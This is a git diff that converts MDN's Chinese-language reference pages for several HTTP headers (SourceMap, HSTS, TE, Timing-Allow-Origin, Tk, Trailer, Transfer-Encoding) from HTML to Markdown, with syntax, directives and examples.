    +- {{HTTPHeader("Allow")}} diff --git a/files/zh-cn/web/http/headers/sourcemap/index.md b/files/zh-cn/web/http/headers/sourcemap/index.md index ee6370eac8e91a..e659917f0acbee 100644 --- a/files/zh-cn/web/http/headers/sourcemap/index.md +++ b/files/zh-cn/web/http/headers/sourcemap/index.md @@ -3,50 +3,40 @@ title: SourceMap slug: Web/HTTP/Headers/SourceMap translation_of: Web/HTTP/Headers/SourceMap --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    SourceMap HTTP 响应头链接生成的代码到一个 source map,使浏览器能够重建原始的资源然后显示在调试器里。

    +**`SourceMap`** [HTTP](/zh-CN/docs/Web/HTTP) 响应头链接生成的代码到一个 [source map](/zh-CN/docs/Tools/Debugger/How_to/Use_a_source_map),使浏览器能够重建原始的资源然后显示在调试器里。 - - - - - - - - - - - -
    Header 类型{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header 类型 | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    SourceMap: <url>
    -X-SourceMap: <url> (deprecated)
    -
    +```plain +SourceMap: +X-SourceMap: (deprecated) +``` -

    指令

    +### 指令 -
    -
    <url>
    -
    指向一个 source map 文件的一个相对(于请求的 URL)或者一个绝对的 URL。
    -
    +- `` + - : 指向一个 source map 文件的一个相对(于请求的 URL)或者一个绝对的 URL。 -

    例子

    +## 例子 -
    SourceMap: /path/to/file.js.map
    +```plain +SourceMap: /path/to/file.js.map +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    另请参阅

    +## 另请参阅 - +- [Firefox Developer Tools: using a source map](/zh-CN/docs/Tools/Debugger/How_to/Use_a_source_map) diff --git a/files/zh-cn/web/http/headers/strict-transport-security/index.md b/files/zh-cn/web/http/headers/strict-transport-security/index.md index 478fd8bf31cff8..01075391a576fd 100644 --- a/files/zh-cn/web/http/headers/strict-transport-security/index.md +++ b/files/zh-cn/web/http/headers/strict-transport-security/index.md @@ -10,98 +10,83 @@ tags: translation_of: Web/HTTP/Headers/Strict-Transport-Security original_slug: Web/HTTP/HTTP_Strict_Transport_Security --- -
    HTTP Strict Transport Security(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过 HTTPS 访问当前资源,而不是HTTP
    +**`HTTP Strict Transport Security`**(通常简称为{{Glossary("HSTS")}})是一个安全功能,它告诉浏览器只能通过 HTTPS 访问当前资源,而不是[HTTP](/en/HTTP)。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Strict-Transport-Security: max-age=<expire-time>
    -Strict-Transport-Security: max-age=<expire-time>; includeSubDomains
    -Strict-Transport-Security: max-age=<expire-time>; preload
    -
    +```plain +Strict-Transport-Security: max-age= +Strict-Transport-Security: max-age=; includeSubDomains +Strict-Transport-Security: max-age=; preload +``` -

    指令

    +## 指令 -
    -
    max-age=<expire-time>
    -
    设置在浏览器收到这个请求后的<expire-time>秒的时间内凡是访问这个域名下的请求都使用 HTTPS 请求。
    -
    includeSubDomains {{optional_inline}}
    -
    如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。
    -
    preload {{optional_inline}}
    -
    查看 预加载 HSTS 获得详情。不是标准的一部分。
    -
    +- `max-age=` + - : 设置在浏览器收到这个请求后的\秒的时间内凡是访问这个域名下的请求都使用 HTTPS 请求。 +- `includeSubDomains` {{optional_inline}} + - : 如果这个可选的参数被指定,那么说明此规则也适用于该网站的所有子域名。 +- `preload` {{optional_inline}} + - : 查看 [预加载 HSTS](#预加载_hsts) 获得详情。不是标准的一部分。 -

    描述

    +## 描述 -

    一个网站接受一个 HTTP 的请求,然后跳转到 HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入 http://foo.com 或者直接 foo.com。

    +一个网站接受一个 HTTP 的请求,然后跳转到 HTTPS,用户可能在开始跳转前,通过没有加密的方式和服务器对话,比如,用户输入 http\://foo.com 或者直接 foo.com。 -

    这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。

    +这样存在中间人攻击潜在威胁,跳转过程可能被恶意网站利用来直接接触用户信息,而不是原来的加密信息。 -

    网站通过 HTTP Strict Transport Security 通知浏览器,这个网站禁止使用 HTTP 方式加载,浏览器应该自动把所有尝试使用 HTTP 的请求自动替换为 HTTPS 请求。

    +网站通过 HTTP Strict Transport Security 通知浏览器,这个网站禁止使用 HTTP 方式加载,浏览器应该自动把所有尝试使用 HTTP 的请求自动替换为 HTTPS 请求。 -
    -

    注意: Strict-Transport-Security 在通过 HTTP 访问时会被浏览器忽略; 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它. 只有在你的网站通过 HTTPS 访问并且没有证书错误时,浏览器才认为你的网站支持 HTTPS 然后使用 Strict-Transport-Security 的值 .

    -
    +> **备注:** `Strict-Transport-Security` 在通过 HTTP 访问时会被浏览器**忽略;** 因为攻击者可以通过中间人攻击的方式在连接中修改、注入或删除它. 只有在你的网站通过 HTTPS 访问并且没有证书错误时,浏览器才认为你的网站支持 HTTPS 然后使用 `Strict-Transport-Security` 的值 . -

    浏览器如何处理

    +### 浏览器如何处理 -

    你的网站第一次通过 HTTPS 请求,服务器响应Strict-Transport-Security 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把 HTTP 替换为 HTTPS。

    +你的网站第一次通过 HTTPS 请求,服务器响应`Strict-Transport-Security` 头,浏览器记录下这些信息,然后后面尝试访问这个网站的请求都会自动把 HTTP 替换为 HTTPS。 -

    当 HSTS 头设置的过期时间到了,后面通过 HTTP 的访问恢复到正常模式,不会再自动跳转到 HTTPS。

    +当 HSTS 头设置的过期时间到了,后面通过 HTTP 的访问恢复到正常模式,不会再自动跳转到 HTTPS。 -

    每次浏览器接收到 Strict-Transport-Security 头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。

    +每次浏览器接收到 Strict-Transport-Security 头,它都会更新这个网站的过期时间,所以网站可以刷新这些信息,防止过期发生。 -

    Chrome、Firefox 等浏览器里,当您尝试访问该域名下的内容时,会产生一个 307 Internal Redirect(内部跳转),自动跳转到 HTTPS 请求。

    +Chrome、Firefox 等浏览器里,当您尝试访问该域名下的内容时,会产生一个 307 Internal Redirect(内部跳转),自动跳转到 HTTPS 请求。 -

    示例场景

    +### 示例场景 -

    你连接到一个免费 WiFi 接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的 WiFi 实际上是黑客的笔记本热点,他们拦截了你最初的 HTTP 请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。

    +你连接到一个免费 WiFi 接入点,然后开始浏览网站,访问你的网上银行,查看你的支出,并且支付一些订单。很不幸,你接入的 WiFi 实际上是黑客的笔记本热点,他们拦截了你最初的 HTTP 请求,然后跳转到一个你银行网站一模一样的钓鱼网站。 现在,你的隐私数据暴露给黑客了。 -

    Strict Transport Security 解决了这个问题;只要你通过 HTTPS 请求访问银行网站,并且银行网站配置好 Strict Transport Security,你的浏览器知道自动使用 HTTPS 请求,这可以阻止黑客的中间人攻击的把戏。

    +Strict Transport Security 解决了这个问题;只要你通过 HTTPS 请求访问银行网站,并且银行网站配置好 Strict Transport Security,你的浏览器知道自动使用 HTTPS 请求,这可以阻止黑客的中间人攻击的把戏。 -

    预加载 HSTS

    +## 预加载 HSTS -

    谷歌维护着一个 HSTS 预加载服务。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。

    +谷歌维护着一个 [HSTS 预加载服务](https://hstspreload.appspot.com/)。按照如下指示成功提交你的域名后,浏览器将会永不使用非安全的方式连接到你的域名。虽然该服务是由谷歌提供的,但所有浏览器都有使用这份列表的意向(或者已经在用了)。但是,这不是 HSTS 标准的一部分,也不该被当作正式的内容。 - +- Chrome & Chromium 的 HSTS 预加载列表: +- Firefox 的 HSTS 预加载列表:[nsSTSPreloadList.inc](https://hg.mozilla.org/mozilla-central/raw-file/tip/security/manager/ssl/nsSTSPreloadList.inc) -

    示例

    +## 示例 -

    现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。

    +现在和未来的所有子域名会自动使用 HTTPS 连接长达一年。同时阻止了只能通过 HTTP 访问的内容。 -
    Strict-Transport-Security: max-age=31536000; includeSubDomains
    -
    +```plain +Strict-Transport-Security: max-age=31536000; includeSubDomains +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    查看更多

    +## 查看更多 - +- Blog post: [HTTP Strict Transport Security has landed!](http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html) +- Blog post: [HTTP Strict Transport Security (force HTTPS)](http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/) +- OWASP Article: [HTTP Strict Transport Security](https://www.owasp.org/index.php/HTTP_Strict_Transport_Security) +- Wikipedia: [HTTP Strict Transport Security](http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) +- Google: [Chrome is backing away from public key pinning, and here's why](http://www.zdnet.com/article/google-chrome-is-backing-away-from-public-key-pinning-and-heres-why/) +- Blog post: [A new security header: Expect-CT](https://scotthelme.co.uk/a-new-security-header-expect-ct/) diff --git a/files/zh-cn/web/http/headers/te/index.md b/files/zh-cn/web/http/headers/te/index.md index bb5fab9771cc05..3257e28abee609 100644 --- a/files/zh-cn/web/http/headers/te/index.md +++ b/files/zh-cn/web/http/headers/te/index.md @@ -7,69 +7,51 @@ tags: - 头部 translation_of: Web/HTTP/Headers/TE --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    TE 请求型头部用来指定用户代理希望使用的传输编码类型。(可以将其非正式称为 Accept-Transfer-Encoding, 这个名称显得更直观一些)。

    +**`TE`** 请求型头部用来指定用户代理希望使用的传输编码类型。(可以将其非正式称为 _`Accept-Transfer-Encoding`_, 这个名称显得更直观一些)。 -

    可以参考 {{HTTPHeader("Transfer-Encoding")}} 来获取更多关于传输编码的细节信息。值得注意的是, 支持 HTTP/1.1 协议的接收方一定可以处理 chunked 传输编码请求,所以没有必要一定在 TE 首部指定“chunked”关键字。然而,如果客户端将要接收编码在 chunked 包体里面的"trailer"信息的时候,主动指定该头部将会非常有用。

    +可以参考 {{HTTPHeader("Transfer-Encoding")}} 来获取更多关于传输编码的细节信息。值得注意的是, 支持 HTTP/1.1 协议的接收方一定可以处理 `chunked` 传输编码请求,所以没有必要一定在 `TE` 首部指定“chunked”关键字。然而,如果客户端将要接收编码在 chunked 包体里面的"trailer"信息的时候,主动指定该头部将会非常有用。 -

    +| Header type | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | - - - - - - - - - - - -
    Header type{{Glossary("Request header")}}
    {{Glossary("Forbidden header name")}}yes
    +## 语法 -

    语法

    - -
    TE: compress
    +```plain
    +TE: compress
     TE: deflate
     TE: gzip
     TE: trailers
     
     // 多个指令,使用 {{glossary("quality values", "quality value")}} 语法来表示优先级:
     TE: trailers, deflate;q=0.5
    -
    +``` -

    指令

    +## 指令 -
    -
    compress
    -
    这个名称代表采用了 Lempel-Ziv-Welch (LZW) 压缩算法的传输编码格式。
    -
    deflate
    -
    这个名称代表采用了 zlib 结构的传输编码格式。
    -
    gzip
    -
    这个名称代表采用了 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的传输编码格式。
    -
    trailers
    -
    表示客户端期望在采用分块传输编码的响应中接收挂载字段。
    -
    q
    -
    -

    当多种形式的传输编码格式都可以接受的时候,这个采用了质量价值语法的参数可以用来对不同的编码形式按照优先级进行排序。

    -
    -
    +- `compress` + - : 这个名称代表采用了 [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW) 压缩算法的传输编码格式。 +- `deflate` + - : 这个名称代表采用了 [zlib](http://en.wikipedia.org/wiki/Zlib) 结构的传输编码格式。 +- `gzip` + - : 这个名称代表采用了 [Lempel-Ziv coding](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77) 压缩算法,以及 32 位 CRC 校验的传输编码格式。 +- trailers + - : 表示客户端期望在采用分块传输编码的响应中接收挂载字段。 +- q + - : 当多种形式的传输编码格式都可以接受的时候,这个采用了[质量价值](/zh-CN/docs/Glossary/Quality_values)语法的参数可以用来对不同的编码形式按照优先级进行排序。 -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    相关资料

    +## 相关资料 - +- {{HTTPHeader("Transfer-Encoding")}} +- {{HTTPHeader("Trailer")}} +- [Chunked transfer encoding](https://en.wikipedia.org/wiki/Chunked_transfer_encoding) diff --git a/files/zh-cn/web/http/headers/timing-allow-origin/index.md b/files/zh-cn/web/http/headers/timing-allow-origin/index.md index 2e48310ec25b2b..d538c4b686fbb3 100644 --- a/files/zh-cn/web/http/headers/timing-allow-origin/index.md +++ b/files/zh-cn/web/http/headers/timing-allow-origin/index.md @@ -3,61 +3,52 @@ title: Timing-Allow-Origin slug: Web/HTTP/Headers/Timing-Allow-Origin translation_of: Web/HTTP/Headers/Timing-Allow-Origin --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    响应头Timing-Allow-Origin用于指定特定站点,以允许其访问Resource Timing API提供的相关信息,否则这些信息会由于跨源限制将被报告为零

    +响应头**`Timing-Allow-Origin`**用于指定特定站点,以允许其访问[Resource Timing API](/zh-CN/docs/Web/API/Resource_Timing_API)提供的相关信息,否则这些信息会由于跨源限制将被报告为零 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Timing-Allow-Origin: *
    -Timing-Allow-Origin: <origin>[, <origin>]*
    -
    +```plain +Timing-Allow-Origin: * +Timing-Allow-Origin: [, ]* +``` -

    指令

    +## 指令 -
    -
    *
    -
    服务器可以以“*”作为通配符,从而允许所有域都具有访问定时信息的权限。
    -
    <origin>
    -
    指定一个可以访问资源的 URI。你也可以通过逗号隔开,指定多个 URI。
    -
    +- \* + - : 服务器可以以“`*`”作为通配符,从而允许所有域都具有访问定时信息的权限。 +- \ + - : 指定一个可以访问资源的 URI。你也可以通过逗号隔开,指定多个 URI。 -

    示例

    +## 示例 -

    如需允许任何资源都可以看到的计时 (timing) 信息,你可以如此设置:

    +如需允许任何资源都可以看到的计时 (timing) 信息,你可以如此设置: -
    Timing-Allow-Origin: *
    -
    +```plain +Timing-Allow-Origin: * +``` -

    如需允许https://developer.mozilla.org查看你的计时信息,你可以设置:

    +如需允许`https://developer.mozilla.org`查看你的计时信息,你可以设置: -
    Timing-Allow-Origin: https://developer.mozilla.org
    +```plain +Timing-Allow-Origin: https://developer.mozilla.org +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- [Resource Timing API](/zh-CN/docs/Web/API/Resource_Timing_API) +- [Using the Resource Timing API](/zh-CN/docs/Web/API/Resource_Timing_API/Using_the_Resource_Timing_API) +- {{HTTPHeader("Vary")}} diff --git a/files/zh-cn/web/http/headers/tk/index.md b/files/zh-cn/web/http/headers/tk/index.md index 65a80e5db629d3..bbb03d0af4df2d 100644 --- a/files/zh-cn/web/http/headers/tk/index.md +++ b/files/zh-cn/web/http/headers/tk/index.md @@ -7,26 +7,18 @@ tags: - 跟踪 translation_of: Web/HTTP/Headers/Tk --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Tk 响应首部显示了对相应请求的跟踪情况。

    +**`Tk`** 响应首部显示了对相应请求的跟踪情况。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}no
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | -

    语法

    +## 语法 -
    Tk: !  (under construction)
    +```plain
    +Tk: !  (under construction)
     Tk: ?  (dynamic)
     Tk: G  (gateway or multiple parties)
     Tk: N  (not tracking)
    @@ -35,44 +27,42 @@ Tk: C  (tracking with consent)
     Tk: P  (potential consent)
     Tk: D  (disregarding DNT)
     Tk: U  (updated)
    -
    +``` -

    指令

    +### 指令 -
    -
    !
    -
    待建。源头服务器目前正在测试它对跟踪情况的通信功能。
    -
    ?
    -
    不确定。源头服务器需要更多的信息来确定跟踪状态。
    -
    G
    -
    网关或多方。服务器扮演了网关的角色,与多方进行信息交换。
    -
    N
    -
    不跟踪。
    -
    T
    -
    跟踪。
    -
    C
    -
    在经过用户同意的情况下进行跟踪。源头服务器相信它事先得到了许可来跟踪用户、用户代理或者设备。
    -
    P
    -
    尚未接收到的许可。 源头服务器不能实时知道它是否获得了事先许可来跟踪用户、用户代理或者设备,但是会承诺不采用或者共享标记为 DNT:1 的数据,直到获得了事先许可,并进一步承诺将会在 48 小时之内对未经许可的资源进行删除或者对其进行消除身份识别信息处理。
    -
    D
    -
    忽略 DNT 首部。源头服务器不支持或者不愿意遵守用户代理发送的跟踪偏好。
    -
    U
    -
    更新。请求即将对应用于用户、用户代理或者设备的跟踪情况进行更新。
    -
    +- ! + - : 待建。源头服务器目前正在测试它对跟踪情况的通信功能。 +- ? + - : 不确定。源头服务器需要更多的信息来确定跟踪状态。 +- G + - : 网关或多方。服务器扮演了网关的角色,与多方进行信息交换。 +- N + - : 不跟踪。 +- T + - : 跟踪。 +- C + - : 在经过用户同意的情况下进行跟踪。源头服务器相信它事先得到了许可来跟踪用户、用户代理或者设备。 +- P + - : 尚未接收到的许可。 源头服务器不能实时知道它是否获得了事先许可来跟踪用户、用户代理或者设备,但是会承诺不采用或者共享标记为 `DNT:1` 的数据,直到获得了事先许可,并进一步承诺将会在 48 小时之内对未经许可的资源进行删除或者对其进行消除身份识别信息处理。 +- D + - : 忽略 DNT 首部。源头服务器不支持或者不愿意遵守用户代理发送的跟踪偏好。 +- U + - : 更新。请求即将对应用于用户、用户代理或者设备的跟踪情况进行更新。 -

    示例

    +## 示例 -

    声明不对相应资源进行跟踪的 Tk 首部,如下图所以:

    +声明不对相应资源进行跟踪的 `Tk` 首部,如下图所以: -
    Tk: N
    +```plain +Tk: N +``` -

    规范

    +## 规范 {{Specifications}} -

    相关内容

    +## 相关内容 -
      -
    • {{HTTPHeader("DNT")}} header
    • -
    • {{domxref("Navigator.doNotTrack")}}
    • -
    +- {{HTTPHeader("DNT")}} header +- {{domxref("Navigator.doNotTrack")}} diff --git a/files/zh-cn/web/http/headers/trailer/index.md b/files/zh-cn/web/http/headers/trailer/index.md index e56563b8fb3aeb..42db90f382614f 100644 --- a/files/zh-cn/web/http/headers/trailer/index.md +++ b/files/zh-cn/web/http/headers/trailer/index.md @@ -3,53 +3,41 @@ title: Trailer slug: Web/HTTP/Headers/Trailer translation_of: Web/HTTP/Headers/Trailer --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Trailer 是一个响应首部,允许发送方在分块发送的消息后面添加额外的元信息,这些元信息可能是随着消息主体的发送动态生成的,比如消息的完整性校验,消息的数字签名,或者消息经过处理之后的最终状态等。

    +**Trailer** 是一个响应首部,允许发送方在分块发送的消息后面添加额外的元信息,这些元信息可能是随着消息主体的发送动态生成的,比如消息的完整性校验,消息的数字签名,或者消息经过处理之后的最终状态等。 -
    -

    请求首部 {{HTTPHeader("TE")}} 需要设置 trailers 来允许挂载字段。

    -
    +> **备注:** 请求首部 {{HTTPHeader("TE")}} 需要设置 trailers 来允许挂载字段。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Trailer: header-names
    +```plain +Trailer: header-names +``` -

    指令

    +## 指令 -
    -
    header-names
    -
    出现在分块信息挂载部分的消息首部。以下首部字段不允许出现: -
      -
    • 用于信息分帧的首部 (例如{{HTTPHeader("Transfer-Encoding")}} 和 {{HTTPHeader("Content-Length")}}),
    • -
    • 用于路由用途的首部 (例如 {{HTTPHeader("Host")}}),
    • -
    • 请求修饰首部 (例如控制类和条件类的,如{{HTTPHeader("Cache-Control")}},{{HTTPHeader("Max-Forwards")}},或者 {{HTTPHeader("TE")}}),
    • -
    • 身份验证首部 (例如 {{HTTPHeader("Authorization")}} 或者 {{HTTPHeader("Set-Cookie")}}),
    • -
    • {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}},以及 Trailer 自身。
    • -
    -
    -
    +- `header-names` + - : 出现在分块信息挂载部分的消息首部。以下首部字段**不允许**出现: -

    示例

    + - 用于信息分帧的首部 (例如{{HTTPHeader("Transfer-Encoding")}} 和 {{HTTPHeader("Content-Length")}}), + - 用于路由用途的首部 (例如 {{HTTPHeader("Host")}}), + - 请求修饰首部 (例如控制类和条件类的,如{{HTTPHeader("Cache-Control")}},{{HTTPHeader("Max-Forwards")}},或者 {{HTTPHeader("TE")}}), + - 身份验证首部 (例如 {{HTTPHeader("Authorization")}} 或者 {{HTTPHeader("Set-Cookie")}}), + - {{HTTPHeader("Content-Encoding")}}, {{HTTPHeader("Content-Type")}}, {{HTTPHeader("Content-Range")}},以及 `Trailer` 自身。 -

    在分块传输编码中使用挂载(trailer)首部

    +## 示例 -

    在这个例子中,{{HTTPHeader("Expires")}} 首部出现在分块信息的结尾,作为挂载(trailer)首部。

    +### 在分块传输编码中使用挂载(trailer)首部 -
    HTTP/1.1 200 OK
    +在这个例子中,{{HTTPHeader("Expires")}} 首部出现在分块信息的结尾,作为挂载(trailer)首部。
    +
    +```plain
    +HTTP/1.1 200 OK
     Content-Type: text/plain
     Transfer-Encoding: chunked
     Trailer: Expires
    @@ -63,22 +51,18 @@ Network\r\n
     0\r\n
     Expires: Wed, 21 Oct 2015 07:28:00 GMT\r\n
     \r\n
    -
    +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 - +- {{HTTPHeader("Transfer-Encoding")}} +- {{HTTPHeader("TE")}} +- [Chunked transfer encoding](https://en.wikipedia.org/wiki/Chunked_transfer_encoding) diff --git a/files/zh-cn/web/http/headers/transfer-encoding/index.md b/files/zh-cn/web/http/headers/transfer-encoding/index.md index fe848f9aec0cff..bfad36347d972f 100644 --- a/files/zh-cn/web/http/headers/transfer-encoding/index.md +++ b/files/zh-cn/web/http/headers/transfer-encoding/index.md @@ -5,61 +5,53 @@ tags: - 首部 translation_of: Web/HTTP/Headers/Transfer-Encoding --- -
    {{HTTPSidebar}}
    +{{HTTPSidebar}} -

    Transfer-Encoding 消息首部指明了将 {{Glossary("Entity header","entity")}} 安全传递给用户所采用的编码形式。

    +**`Transfer-Encoding`** 消息首部指明了将 {{Glossary("Entity header","entity")}} 安全传递给用户所采用的编码形式。 -

    Transfer-Encoding 是一个逐跳传输消息首部,即仅应用于两个节点之间的消息传递,而不是所请求的资源本身。一个多节点连接中的每一段都可以应用不同的Transfer-Encoding 值。如果你想要将压缩后的数据应用于整个连接,那么请使用端到端传输消息首部 {{HTTPHeader("Content-Encoding")}} 。

    +`Transfer-Encoding` 是一个[逐跳传输消息首部](/zh-CN/docs/Web/HTTP/Headers#hbh),即仅应用于两个节点之间的消息传递,而不是所请求的资源本身。一个多节点连接中的每一段都可以应用不同的`Transfer-Encoding` 值。如果你想要将压缩后的数据应用于整个连接,那么请使用端到端传输消息首部 {{HTTPHeader("Content-Encoding")}} 。 -

    当这个消息首部出现在 {{HTTPMethod("HEAD")}} 请求的响应中,而这样的响应没有消息体,那么它其实指的是应用在相应的 {{HTTPMethod("GET")}} 请求的应答的值。

    +当这个消息首部出现在 {{HTTPMethod("HEAD")}} 请求的响应中,而这样的响应没有消息体,那么它其实指的是应用在相应的 {{HTTPMethod("GET")}} 请求的应答的值。 - - - - - - - - - - - -
    Header type{{Glossary("Response header")}}
    {{Glossary("Forbidden header name")}}yes
    +| Header type | {{Glossary("Response header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | yes | -

    语法

    +## 语法 -
    Transfer-Encoding: chunked
    +```plain
    +Transfer-Encoding: chunked
     Transfer-Encoding: compress
     Transfer-Encoding: deflate
     Transfer-Encoding: gzip
     Transfer-Encoding: identity
     
    -// Several values can be listed, separated by a comma
    -Transfer-Encoding: gzip, chunked
    +// Several values can be listed, separated by a comma +Transfer-Encoding: gzip, chunked +``` -

    指令

    +## 指令 -
    -
    chunked
    -
    数据以一系列分块的形式进行发送。 {{HTTPHeader("Content-Length")}} 首部在这种情况下不被发送。。在每一个分块的开头需要添加当前分块的长度,以十六进制的形式表示,后面紧跟着 '\r\n' ,之后是分块本身,后面也是'\r\n' 。终止块是一个常规的分块,不同之处在于其长度为 0。终止块后面是一个挂载(trailer),由一系列(或者为空)的实体消息首部构成。
    -
    compress
    -
    采用 Lempel-Ziv-Welch (LZW) 压缩算法。这个名称来自 UNIX 系统的 compress 程序,该程序实现了前述算法。
    - 与其同名程序已经在大部分 UNIX 发行版中消失一样,这种内容编码方式已经被大部分浏览器弃用,部分因为专利问题(这项专利在 2003 年到期)。
    -
    deflate
    -
    采用 zlib 结构 (在 RFC 1950 中规定),和 deflate 压缩算法 (在 RFC 1951 中规定)。
    -
    gzip
    -
    表示采用 Lempel-Ziv coding (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。这个编码方式最初由 UNIX 平台上的 gzip 程序采用。处于兼容性的考虑, HTTP/1.1 标准提议支持这种编码方式的服务器应该识别作为别名的 x-gzip 指令。
    -
    identity
    -
    用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。
    -
    +- `chunked` + - : 数据以一系列分块的形式进行发送。 {{HTTPHeader("Content-Length")}} 首部在这种情况下不被发送。。在每一个分块的开头需要添加当前分块的长度,以十六进制的形式表示,后面紧跟着 '`\r\n`' ,之后是分块本身,后面也是'`\r\n`' 。终止块是一个常规的分块,不同之处在于其长度为 0。终止块后面是一个挂载(trailer),由一系列(或者为空)的实体消息首部构成。 +- `compress` + - : 采用 [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW) 压缩算法。这个名称来自 UNIX 系统的 _compress_ 程序,该程序实现了前述算法。 + 与其同名程序已经在大部分 UNIX 发行版中消失一样,这种内容编码方式已经被大部分浏览器弃用,部分因为专利问题(这项专利在 2003 年到期)。 +- `deflate` + - : 采用 [zlib](http://en.wikipedia.org/wiki/Zlib) 结构 (在 [RFC 1950](http://tools.ietf.org/html/rfc1950) 中规定),和 [_deflate_](http://en.wikipedia.org/wiki/DEFLATE) 压缩算法 (在 [RFC 1951](http://tools.ietf.org/html/rfc1952) 中规定)。 +- `gzip` + - : 表示采用 [Lempel-Ziv coding](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77) 压缩算法,以及 32 位 CRC 校验的编码方式。这个编码方式最初由 UNIX 平台上的 _gzip_ 程序采用。处于兼容性的考虑, HTTP/1.1 标准提议支持这种编码方式的服务器应该识别作为别名的 `x-gzip `指令。 +- `identity` + - : 用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。 -

    示例

    +## 示例 -

    分块编码

    +### 分块编码 -

    分块编码主要应用于如下场景,即要传输大量的数据,但是在请求在没有被处理完之前响应的长度是无法获得的。例如,当需要用从数据库中查询获得的数据生成一个大的 HTML 表格的时候,或者需要传输大量的图片的时候。一个分块响应形式如下:

    +分块编码主要应用于如下场景,即要传输大量的数据,但是在请求在没有被处理完之前响应的长度是无法获得的。例如,当需要用从数据库中查询获得的数据生成一个大的 HTML 表格的时候,或者需要传输大量的图片的时候。一个分块响应形式如下: -
    HTTP/1.1 200 OK
    +```plain
    +HTTP/1.1 200 OK
     Content-Type: text/plain
     Transfer-Encoding: chunked
     
    @@ -70,24 +62,21 @@ Developer\r\n
     7\r\n
     Network\r\n
     0\r\n
    -\r\n
    +\r\n +``` -

    规范

    +## 规范 {{Specifications}} -

    浏览器兼容性

    +## 浏览器兼容性 -

    {{Compat}}

    +{{Compat}} -

    参见

    +## 参见 -
      -
    • {{HTTPHeader("Accept-Encoding")}}
    • -
    • {{HTTPHeader("Content-Encoding")}}
    • -
    • {{HTTPHeader("Content-Length")}}
    • -
    • Header fields that regulate the use of trailers: {{HTTPHeader("TE")}} (requests) and {{HTTPHeader("Trailer")}} (responses).
    • -
    • -

      Chunked transfer encoding

      -
    • -
